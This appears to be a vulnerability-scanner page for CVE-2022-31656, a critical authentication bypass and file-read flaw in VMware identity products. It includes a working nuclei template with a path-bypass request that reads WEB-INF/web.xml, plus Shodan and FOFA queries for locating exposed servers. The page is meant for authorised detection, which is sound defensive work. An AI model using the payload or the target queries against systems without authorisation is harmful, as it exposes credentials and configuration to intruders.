VMware - Local File Inclusion

criticalseverity

9.8CVSS score

24.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

Impact

The impact of this vulnerability is that an attacker can read sensitive files on the server, which may contain credentials, configuration files, or other sensitive information.

Fix

To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in file inclusion operations.

How to confirm it

Send: GET {{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml
Positive when: contains "<web-app" and "<servlet-name>" AND contains in header "application/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31656 -u <target>

The full check

id: CVE-2022-31656

info:
  name: VMware - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
  impact: |
    The impact of this vulnerability is that an attacker can read sensitive files on the server, which may contain credentials, configuration files, or other sensitive information.
  remediation: |
    To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
    - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31656
    cwe-id: CWE-287
    epss-score: 0.24675
    epss-percentile: 0.97908
    cpe: cpe:2.3:a:vmware:identity_manager:3.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: identity_manager
    shodan-query: http.favicon.hash:-1250474341
    fofa-query:
      - icon_hash=-1250474341
      - app="vmware-workspace-one-access" || app="vmware-identity-manager" || app="vmware-vrealize"
  tags: cve2022,cve,vmware,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app"
          - "<servlet-name>"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from